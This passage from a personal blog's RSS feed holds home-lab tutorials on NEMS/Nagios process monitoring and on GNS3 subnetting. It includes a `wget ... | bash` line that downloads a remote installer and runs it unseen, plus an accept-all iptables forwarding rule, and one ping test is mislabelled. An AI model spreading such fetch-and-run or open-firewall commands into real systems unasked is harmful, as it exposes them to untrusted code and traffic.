&lt;p&gt;The first thing that we need to do is to install the Nagios Remote Plugin Executor (NRPE) on the server that we wish to monitor. Doing so is rather straightforward and is already detailed in the NEMS documentation &lt;a href=&quot;https://docs.nemslinux.com/usage/monitor_host_linux&quot;&gt;here&lt;/a&gt;. First we install NRPE. Via ssh, login to your server that you wish to monitor and execute the following to download and install NRPE from github.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget -O - https://raw.githubusercontent.com/Cat5TV/nems-admin/master/build/047-nrpe | bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we need to edit the NRPE configuration file to allow our NEMS server to communicate with the NRPE daemon. Using your preferred text editor, open the /usr/local/nagios/etc/nrpe.cfg file. Look for the line that reads:
	allowed_hosts=127.0.0.1,::1&lt;/p&gt;

&lt;p&gt;and add a comma followed by the private IP address of the NEMS server on your network, e.g.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;allowed_hosts=127.0.0.1,::1,192.168.1.227
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When done, save and close the file. Then restart NRPE:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl restart nrpe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That is all that needs to be done on the monitored server so go ahead and logout of your ssh session. Now we can configure the new service in NEMS to monitor a process. In your web browser, navigate back to &lt;a href=&quot;nels.local&quot;&gt;nems.local&lt;/a&gt; and on the main screen, click the “Configuration” tab and select “NEMS Configurator (NConf)” to reach the configuration page. Look for “Hosts” on the left-hand side menu and click on “Show” just to the right.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot1_20200817-194217.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, select the machine that you set up in Part 1 of this post. Your screen will look a bit different dependent upon what you set up. In my case, I am going to select my “miner” host. To the right click on the cog wheel symbol:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot2_20200819-185619.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the next screen, you will need to select the service to add from the drop-down menu. In our case we want to select “check_nrpe (Linux Monitoring)”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot3_20200819-190430.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then click the “add” button. Your new service should now appear directly below the drop-down menu. Select the pencil icon to edit the new service.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot4_20200819-190717.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are a number of options we’ll need to set here. Some of these are my own preferences. Feel free to set them to suit your particular needs.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;For service name you can leave the name as the default if you wish, but I changed mine to the more descriptive “check-ethminer”.&lt;/li&gt;
  &lt;li&gt;For max check attempts I chose 5.&lt;/li&gt;
  &lt;li&gt;For check inteval I chose 1.&lt;/li&gt;
  &lt;li&gt;For retry interval I chose 1.&lt;/li&gt;
  &lt;li&gt;For first notification delay I chose 0.&lt;/li&gt;
  &lt;li&gt;For notification intercal I chose 30.&lt;/li&gt;
  &lt;li&gt;For notification options I chose w,u,c,r,f,s.&lt;/li&gt;
  &lt;li&gt;You can leave everything else as the default or blank.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can find the definitions of all of these options &lt;a href=&quot;https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/objectdefinitions.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Finally, the most important step is to provide the command used for checking in the “params for check command box” at the bottom. In my case, I entered “check_procs -a -c 1:1 -C ethminer” (without the quotes). We start with check_procs, which is the name of the command. The -c argument allows us to set the parameter range for critical messages. In my case I use 1:1, indicating that if the number of processes called “ethminer” is something other than 1, I will get a critical message. The -C flag takes the exact name of the process you wish to monitor. In my case I am monitoring my Ethereum mining server, which has the process name “ethminer”. You could also use the -w argument, which lets you specify a parameter range for warning messages. Since my mining process is either running or its not, I don’t need a warning message.&lt;/p&gt;

&lt;p&gt;Then hit Submit. The final thing that we need to do is to generate and deploy a new Nagios configuration file with our new setting. On the main NConf page, select the “Generate Nagios config” link near the top left:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot5_20200819-193352.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you have done everything correctly until this point, you should see something very similar to the following, with no error messages:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot6_20200819-193642.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If so, go ahead and click that Deploy button. That’s it, we have now added our first Linux process check to be monitored by NEMS. If you return to your Tactical Overview reporting screen, you should see something like the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot7_20200819-193944.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, let’s test to see if it is actually working. Go ahead and kill whatever process you were monitoring. In my case I ssh into my machine and kill the “ethminer” process.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post4/screenshot8_20200819-194759.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a few minutes, you should get a critical message indicating that the process has gone down. If so, you are done. Restart your process and enjoy your new NEMS monitoring setup.&lt;/p&gt;

&lt;p&gt;In this and the previous post we have gone through the process of setting up NEMS for home networking. We started with installing the NEMS image on a Raspberry Pi and then configured NEMS to monitor a number of hosts and processes. However, we have only scratched the surface of what NEMS can do. I encourage you to use this as a springboard to explore further and add additional hosts and processes.&lt;/p&gt;

</description>
        <pubDate>Thu, 13 Aug 2020 00:00:00 -0400</pubDate>
        <link>//2020/08/13/monitoring-home-networks-with-NEMS-Part-2-Monitoring-Server-Processes/</link>
        <link href="/2020/08/13/monitoring-home-networks-with-NEMS-Part-2-Monitoring-Server-Processes/"/>
        <guid isPermaLink="true">/2020/08/13/monitoring-home-networks-with-NEMS-Part-2-Monitoring-Server-Processes/</guid>
      </item>
    
      <item>
        <title>Monitoring home networks with NEMS Part 1: Installation and Configuration</title>
        <description>&lt;p&gt;Recently I wanted to learn a little bit more about network monitoring tools. I wanted to set up something simple that could monitor a handful of Linux servers that I run at home. I have a Raspberry Pi 2 running &lt;a href=&quot;https://pi-hole.net/&quot; target=&quot;_blank&quot;&gt;Pi-Hole&lt;/a&gt; network ad blocking, a Raspberry Pi 4 running as a NAS, and an older headless desktop machine with a couple GPUs mining Ethereum (mostly for fun, not profit). The Raspberry Pis are extremely reliable and never go down but I wanted to set up basic monitoring for them for learning purposes. The Ethereum miner occasionally gets knocked offline, so I wanted to monitor it and get notifications when the mining process died so that I could ssh in and restart it.&lt;/p&gt;

&lt;p&gt;After some research, I decided to try &lt;a href=&quot;https://nemslinux.com/&quot; target=&quot;_blank&quot;&gt;NEMS&lt;/a&gt;. NEMS is the Nagios Enterprise Monitoring Server for Single Board Computers. I chose this in part because I can install it on yet another Raspberry Pi. Because I was unable to find a comprehensive tutorial for this online, I had to use NEMS currently spotty documentation and do quite a bit of googling (actually duck-duck-going) to troubleshoot some issues and get up to speed. I’ll go over the steps I took to get NEMS installed and set up and monitoring my servers and hopefully this will be of use to anyone who would like to do the same.&lt;/p&gt;

&lt;h3 id=&quot;nems-installation-and-setup&quot;&gt;NEMS Installation and Setup&lt;/h3&gt;

&lt;p&gt;First, we need to obtain the NEMS image for Raspberry Pi. I’m using a Pi 3 Model B+ but any Pi 3 or Pi 4 will do. The download is &lt;a href=&quot;https://nemslinux.com/download/nagios-for-raspberry-pi-4.php&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;. The current build as of this writing is 1.5.2. Once downloaded, extract the img file and then write it to a 32 Gb or larger micro-SD card using your favorite tool (I prefer &lt;a href=&quot;https://www.balena.io/etcher/&quot;&gt;Balena Etcher&lt;/a&gt; but a real beard may prefer dd).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot3_20200702-134126.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When done writing, put the card into your Pi, connect to Ethernet and fire it up. At this point you can use the official installation instructions &lt;a href=&quot;https://docs.nemslinux.com/installation&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;, but I’ll also take you through all the necessary steps. When it boots, give it a few minutes for the filesystem to be resized, then locate the Pi’s IP address and ssh into it from another machine. The default username and password are both “nemsadmin”.&lt;/p&gt;

&lt;p&gt;Upon successful login you should be greeted with the prompt:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot4_20200702-141746.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At the ssh prompt, enter:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo nems-init
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will take you through some configuration options regarding your time zone and locale. Obviously choose as appropriate.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot5_20200702-142045.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot6_20200702-142141.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot7_20200702-142514.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When that is done, you’ll be asked to set up a username and password to replace the default ones. It will then go through the process of generating new ssl and ssh keys, which may take a few minutes. You will then be presented with something like this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot8_20200702-144526.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Go ahead and log out of your ssh session as we won’t need it anymore. Now you can access the NEMS dashboard via your web browser by going to &lt;a href=&quot;http://nems.local/&quot; target=&quot;_blank&quot;&gt;http://nems.local/&lt;/a&gt;. You’ll be prompted for your new username and password. If everything has been succesful so far, you should see something like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot1_20200630-204137.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;configuring-nems-to-monitor-your-servers&quot;&gt;Configuring NEMS to monitor your servers&lt;/h3&gt;

&lt;p&gt;NEMS is running and ready to go. Next we need to tell NEMS what we want to monitor. All of the configuration of NEMS can be done using the NConf utility. Go to the “configuration” tab and from the drop down menu select “NEMS Configurator (NConf)”, which will bring you to the following page:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot2_20200701-000650.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You use this utility to tell NEMS what servers or hosts that you want it to monitor. Add a host by clicking on the “Add” link that corresponds to “Hosts” from the menu on the left of the screen. Here I show the process of adding my mining server, but adjust the options that best fit your needs.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot9_20200702-150039.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;For hostname, choose a name. Here I chose miner.&lt;/li&gt;
  &lt;li&gt;For address, enter the IP address of the server or host you wish to monitor. (Note that giving that device a static IP address or an IP reservation in your router’s DHCP scope would be advisable here).&lt;/li&gt;
  &lt;li&gt;For OS, choose the device’s OS. Here I chose Linux since that is what is running my miner.&lt;/li&gt;
  &lt;li&gt;For host preset, I chose linux-server.&lt;/li&gt;
  &lt;li&gt;For monitored by, choose Default Nagios.&lt;/li&gt;
  &lt;li&gt;You can leave host as collector set to no&lt;/li&gt;
  &lt;li&gt;For contact groups, move “admin” to the box on the right.&lt;/li&gt;
  &lt;li&gt;For max check attempts, set to 5 (or whatever you prefer).&lt;/li&gt;
  &lt;li&gt;For Check interval, I set to 60 seconds. You choose how often you want to check it.&lt;/li&gt;
  &lt;li&gt;For retry interval, I set to 5.&lt;/li&gt;
  &lt;li&gt;For first notification delay, I set to 5.&lt;/li&gt;
  &lt;li&gt;For notification interval, I set to 90.&lt;/li&gt;
  &lt;li&gt;For notification options, I set to d,u,r,f.&lt;/li&gt;
  &lt;li&gt;For assign host to hostgroup, I chose linux-servers. Choose appropriately.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;You can leave everything else as is. You can find the definitions of all of these options &lt;a href=&quot;https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/objectdefinitions.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now we need to enable the configuration changes. Back on the main NConf page, click “Generate Nagios config” link:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot10_20200702-154620.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You should get a screen indicating that there were no errors. Next click the “Deploy” button.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot11_20200702-154817.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You should get a final screen indicating that everything went OK.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot12_20200702-155150.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the NEMS main page, go to the “Reporting” menu and select “NEMS Tactical Overview”. Your screen will look similar to this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot13_20200702-155628.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you’ve added your new host correctly, you should see that NEMS is currently monitoring 2 hosts (the device you just added and the NEMS Pi itself). You’ll see that in my case there are already some warnings. The temperature warnings are because I currently do not have a temperature sensor connected to my Pi. I will disable those notifications since I don’t have one. The Internet Speed Test is due to the fact the the upload speed on my home network is below the configured default thresholds, which will need to be adjusted.&lt;/p&gt;

&lt;p&gt;You can continue to add new servers or hosts in the same way. For each host added in this way, NEMS will monitor a number of things on each device. This includes whether the machine is reachable with a ping, the total number of processes running on the machine, whether port 22 (SSH) is open, whether port 80 (HTTP) is open, the number of users currently logged in and more. If you prefer to turn off some of these checks you can easily do so. For example I have no HTTP server running on my miner, so there is no reason to have this check running.&lt;/p&gt;

&lt;p&gt;To see what services are being checked, click on the Reporting menu from the main screen and select “Adagios”. Then on the left side menu click on “Hosts”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot14_20200702-162840.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You should see both NEMS and your added device here, and by expanding them, it will display all the checks currently running against that machine. You can then use the NConf utility to remove some of these checks or add new ones as needed. After removing some of the unwanted check from my setup, my NagiosTV monitoring page is now quiet, showing that both hosts are up and that all services are OK.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post3/screenshot15_20200702-165411.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;I have only scratched the surface in this post. There are many more things that you can do with NEMS, one of which includes getting notifications via email or an app like Telegram when a service goes down. I’ll leave these things as an exercise to the reader. However, there is one other thing I wanted to do. In the introduction, I mentioned that I wanted to monitor a specific process on my miner and get a notification when it goes down. Doing so requires a bit more work, as we need to install some special software on the remote device that will allow NEMS to gather more complex information from that device. I will cover this in Part 2.&lt;/p&gt;

</description>
        <pubDate>Tue, 30 Jun 2020 00:00:00 -0400</pubDate>
        <link>//2020/06/30/monitoring-home-networks-with-NEMS/</link>
        <link href="/2020/06/30/monitoring-home-networks-with-NEMS/"/>
        <guid isPermaLink="true">/2020/06/30/monitoring-home-networks-with-NEMS/</guid>
      </item>
    
      <item>
        <title>Learning subnetting with GNS3 Part 2: Configuring Subnets</title>
        <description>&lt;p&gt;&lt;em&gt;This is Part 2 of a multi-part post on using GNS3 as a learning aid when studying subnetting. You can find Part 1 &lt;a href=&quot;/2020/05/30/learning-subnetting-with-GNS3-Part-1-Installation-and-Setup/&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In part 1 of this tutorial, we installed GNS3 and set up a basic network topology with one router, two switches, and two virtual PC’s. With that network complete, 
we now have to configure static IP address information for our virtual PCs and setup up our router as a default gateway for each of the two subnets that we plan 
to create. Remember that we will be doing just enough configuration to get our network up and running with basic functionality. As a reminder, here is out network 
in GNS3:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post1/screenshot9-20200531-163737.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s take a closer look at the router we set up. How many interfaces does it have? To find out, right click on the router icon in the topology and select “Show node 
information.” You should see something very similar to this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post2/screenshot1_20200607-181916.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that out router has 4 interfaces, Ethernet0 through Ethernet3. It also tells us that Ethernet1 is our WAN link. We’ll need this info shortly.&lt;/p&gt;

&lt;p&gt;Next, we will open up command prompts for all of our devices. At the top menu, click the icon that looks like a little command prompt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/post2/screenshot2_20200607-182713.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Upon doing so, three terminals will pop up on your screen, two for each virtual PC and one for the router. If you’ve followed along with the same naming convention so 
far, these terminals will be titled PC1, PC2, and R1. Let’s start with the router and confirm that the interfaces mentioned above are there. Click on the R1 terminal. 
This is our router with OpenWRT installed. At heart, this is Linux and we can issue UNIX commands. Begin by typing “ifconfig”.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@OpenWrt:/# ifconfig
br-lan    Link encap:Ethernet  HWaddr 0C:C6:44:DA:1D:00  
		  inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
		  inet6 addr: fdbc:9784:9335::1/60 Scope:Global
		  inet6 addr: fe80::ec6:44ff:feda:1d00/64 Scope:Link
		  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
		  RX packets:0 errors:0 dropped:0 overruns:0 frame:0
		  TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
		  collisions:0 txqueuelen:1000 
		  RX bytes:0 (0.0 B)  TX bytes:2132 (2.0 KiB)

eth0      Link encap:Ethernet  HWaddr 0C:C6:44:DA:1D:00  
		  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
		  RX packets:0 errors:0 dropped:0 overruns:0 frame:0
		  TX packets:20 errors:0 dropped:0 overruns:0 carrier:0
		  collisions:0 txqueuelen:1000 
		  RX bytes:0 (0.0 B)  TX bytes:3517 (3.4 KiB)

eth1      Link encap:Ethernet  HWaddr 0C:C6:44:DA:1D:01  
		  UP BROADCAST MULTICAST  MTU:1500  Metric:1
		  RX packets:0 errors:0 dropped:0 overruns:0 frame:0
		  TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
		  collisions:0 txqueuelen:1000 
		  RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback  
		  inet addr:127.0.0.1  Mask:255.0.0.0
		  inet6 addr: ::1/128 Scope:Host
		  UP LOOPBACK RUNNING  MTU:65536  Metric:1
		  RX packets:256 errors:0 dropped:0 overruns:0 frame:0
		  TX packets:256 errors:0 dropped:0 overruns:0 carrier:0
		  collisions:0 txqueuelen:1000 
		  RX bytes:17408 (17.0 KiB)  TX bytes:17408 (17.0 KiB)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see that there are currently four interfaces up: br-lan, eth0, eth1 and the loopback interface. In order to keep things simple, I want to work with the eth* interfaces. 
First let’s take down the br-lan interface:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@OpenWrt:/# ifconfig br-lan down
[ 2146.953989] br-lan: port 1(eth0) entered disabled state
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Recall from earlier that we have additional interfaces available, Ethernet2 and Ethernet3. Ethernet1 is reserved for the WAN link, which we may use in a future post. Because 
we want to have two subnets, let’s bring up the eth2 interface:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@OpenWrt:/# ifconfig eth2 up
[ 2476.000447] 8021q: adding VLAN 0 to HW filter on device eth2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we need to configure the router for two subnets. To keep things simple, we will use standard /24 Class C network addresses. We’ll put PC1 and Switch1 on the 192.168.1.0/24
network attached to eth0 and PC2 and Switch2 on 192.168.2.0/24 attached to eth2. Enter these lines separately at the router prompt:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@OpenWrt:/# ip addr add 192.168.1.1/24 dev eth0
root@OpenWrt:/# ip addr add 192.168.2.1/24 dev eth2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have now configured the router as the default gateway for these two subnets. Next we can configure our virtual PCs with static IP addresses, subnet masks, and default gateways.
These virtual PCs are not UNIX-like. They are an open-source lightweight PC &lt;a href=&quot;https://sourceforge.net/projects/vpcs/?source=directory&quot;&gt;simulator&lt;/a&gt; written by Paul Meng. Click on the PC1 terminal and enter the following command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC1&amp;gt; ip 192.168.1.2/24 192.168.1.1
Checking for duplicate address...
PC1 : 192.168.1.2 255.255.255.0 gateway 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we’ve given PC1 the IP address 192.168.1.2 with a /24 subnet mask. Second, we’ve told PC1 that its default gateway is the router at 192.168.1.1. To test the connection, let’s 
see if we can ping the router from PC1:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC1&amp;gt; ping 192.168.1.1
84 bytes from 192.168.1.1 icmp_seq=1 ttl=64 time=0.275 ms
84 bytes from 192.168.1.1 icmp_seq=2 ttl=64 time=0.404 ms
84 bytes from 192.168.1.1 icmp_seq=3 ttl=64 time=0.462 ms
84 bytes from 192.168.1.1 icmp_seq=4 ttl=64 time=0.387 ms
84 bytes from 192.168.1.1 icmp_seq=5 ttl=64 time=0.458 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Success. Now let’s do the same thing for PC2. We’ll give it an ip address on the 192.168.2.0 subnet, so that it will not be on the same subnet as PC1. Click on the PC2 terminal and
give it an IP address of 192.168.2.2 with a /24 subnet mask and indicate a default gateway of 192.168.2.1:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC2&amp;gt; ip 192.168.2.2/24 192.168.2.1
Checking for duplicate address...
PC1 : 192.168.2.2 255.255.255.0 gateway 192.168.2.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we check if PC2 can ping its gateway.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC2&amp;gt; ping 192.168.2.1
84 bytes from 192.168.2.1 icmp_seq=1 ttl=64 time=0.183 ms
84 bytes from 192.168.2.1 icmp_seq=2 ttl=64 time=0.370 ms
84 bytes from 192.168.2.1 icmp_seq=3 ttl=64 time=0.436 ms
84 bytes from 192.168.2.1 icmp_seq=4 ttl=64 time=0.389 ms
84 bytes from 192.168.2.1 icmp_seq=5 ttl=64 time=0.393 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;PC2 can succesfully ping its default gateway.&lt;/p&gt;

&lt;p&gt;Now that this is all set up, PC1 and PC2 should be able to communicate. Let’s test to see if that is the case:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC1&amp;gt; ping 192.168.2.2
*192.168.1.1 icmp_seq=1 ttl=64 time=0.323 ms (ICMP type:3, code:3, Destination port unreachable)
*192.168.1.1 icmp_seq=2 ttl=64 time=0.417 ms (ICMP type:3, code:3, Destination port unreachable)
*192.168.1.1 icmp_seq=3 ttl=64 time=0.399 ms (ICMP type:3, code:3, Destination port unreachable)
*192.168.1.1 icmp_seq=4 ttl=64 time=0.411 ms (ICMP type:3, code:3, Destination port unreachable)
*192.168.1.1 icmp_seq=5 ttl=64 time=0.421 ms (ICMP type:3, code:3, Destination port unreachable)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We’ve run into a problem in that PC1 cannot reach PC2. We’ve configured our subnets correctly, so what could be wrong? The last thing that we need to do is allow forwarding of traffic 
through our router’s firewall. To do that we can enter the following command at router R1’s command prompt:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@OpenWrt:/# iptables -I FORWARD -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once done, our virtual PCs should now be able to communicate with each other. Let’s test again. At PC1 type:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC1&amp;gt; ping 192.168.2.1
84 bytes from 192.168.2.1 icmp_seq=1 ttl=64 time=0.328 ms
84 bytes from 192.168.2.1 icmp_seq=2 ttl=64 time=0.384 ms
84 bytes from 192.168.2.1 icmp_seq=3 ttl=64 time=0.724 ms
84 bytes from 192.168.2.1 icmp_seq=4 ttl=64 time=0.380 ms
84 bytes from 192.168.2.1 icmp_seq=5 ttl=64 time=0.923 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, PC1 can ping PC2. Let’s test in the opposite direction. Ping PC1 from PC2:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PC2&amp;gt; ping 192.168.1.2
84 bytes from 192.168.1.2 icmp_seq=1 ttl=63 time=0.498 ms
84 bytes from 192.168.1.2 icmp_seq=2 ttl=63 time=0.561 ms
84 bytes from 192.168.1.2 icmp_seq=3 ttl=63 time=0.596 ms
84 bytes from 192.168.1.2 icmp_seq=4 ttl=63 time=0.633 ms
84 bytes from 192.168.1.2 icmp_seq=5 ttl=63 time=0.587 ms
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Success! We now have a virtual PC on each of two separate subnets with a router configured to forward traffic between those subnets.&lt;/p&gt;

&lt;p&gt;At this point, you now have everything you need to really begin experimenting with subnetting. You can change the network addresses and subnet masks to something other than a 
/24 network, add additional PCs, and even add an additional subnet on router interface eth3. I encourage you to use this playground to experiment with a wide range of scenarios. 
See what works and what doesn’t. Break things and then put them back together. Have fun and I hope you found this tutorial useful. In future posts we will take this further and 
set up DHCP, connect to the Internet, and more.&lt;/p&gt;

</description>
        <pubDate>Sun, 07 Jun 2020 00:00:00 -0400</pubDate>
        <link>//2020/06/07/learning-subnetting-with-GNS3-Part-2-Configuring-Subnets/</link>
        <link href="/2020/06/07/learning-subnetting-with-GNS3-Part-2-Configuring-Subnets/"/>
        <guid isPermaLink="true">/2020/06/07/learning-subnetting-with-GNS3-Part-2-Configuring-Subnets/</guid>
      </item>
    
  </channel>
</rss>
